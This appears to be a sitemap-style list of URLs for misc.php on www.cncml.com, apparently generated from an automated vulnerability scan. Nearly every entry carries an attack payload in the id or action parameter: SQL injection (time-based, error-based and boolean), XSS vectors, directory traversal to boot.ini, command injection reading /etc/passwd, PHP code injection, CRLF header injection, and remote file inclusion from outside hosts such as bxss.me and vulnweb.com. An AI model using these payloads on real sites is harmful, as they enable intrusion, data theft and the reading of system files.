http://www.cncml.com/misc.php?mod=invite&action=article&id=43%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%20OR%2065=65%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%20RLIKE%20(SELECT%20(CASE%20WHEN%20(53=53)%20THEN%2043%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%20RLIKE%20(SELECT%20(CASE%20WHEN%20(75=12)%20THEN%2043%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%25%27%29%20AND%2016%3D16%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%25%27%29%20AND%2042%3D16%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%25'%20AND%2021=93%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%25'%20AND%2031=31%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(18=18)%20THEN%20'43'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(57=23)%20THEN%20'43'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%2527 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%2527%20AND%2019=19%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%2527%20AND%2046=91%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%5B%5D 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%5C%22 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%5C' 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%bf%27 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43' 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43'%20AND%20'0b'='0b 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43'%20AND%20'K8'='XO 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43'%20OR%20'sV'='sV'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(42=18)%20THEN%20'43'%20ELSE%200x28%20END))%20AND%20'et'='et 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(61=61)%20THEN%20'43'%20ELSE%200x28%20END))%20AND%20'mw'='mw 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43'%22 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43')%20AND%2035=61%20AND%20('j1'='j1 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43')%20AND%2069=69%20AND%20('aT'='aT 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(44=14)%20THEN%20'43'%20ELSE%200x28%20END))%20AND%20('HM'='HM 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(62=62)%20THEN%20'43'%20ELSE%200x28%20END))%20AND%20('4S'='4S 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43';%20IF(94=79)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43';%20IF(94=94)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43)%20AND%2037=57%20AND%20(37=37 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43)%20AND%2082=82%20AND%20(82=82 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43)%20OR%2029=29%20OR%20(29=29)%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%2043%20ELSE%200x28%20END))%20AND%20(62=62 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(87=13)%20THEN%2043%20ELSE%200x28%20END))%20AND%20(87=87 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43);%20IF(29=94)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43);%20IF(34=34)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43,(SELECT%20(CASE%20WHEN%20(14=15)%20THEN%2043%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43,(SELECT%20(CASE%20WHEN%20(39=39)%20THEN%2043%20ELSE%2039*(SELECT%2039%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43,(SELECT%20(CASE%20WHEN%20(51=96)%20THEN%2043%20ELSE%2051*(SELECT%2051%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43,(SELECT%20(CASE%20WHEN%20(56=56)%20THEN%2043%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43,IIF(14=14,43,1/0) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43,IIF(31=14,43,1/0) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=436633x3X6 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43JyI%3D 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43alert(42873) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43e360 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=;print(md5(1122));%23 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=C:%5Cboot.ini 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=IIF(16=16,43,1/0) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=IIF(62=22,43,1/0) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=dir 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=file:///c:/boot.ini 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=phpinfo 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=response.write(9412458*9542755) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=set%7Cset&set 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=%3Cdir 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=');print(md5(1122));// 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=................windowswin.ini 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=;print(md5(1122));%23 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=C:%5Cboot.ini 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article 0.0002 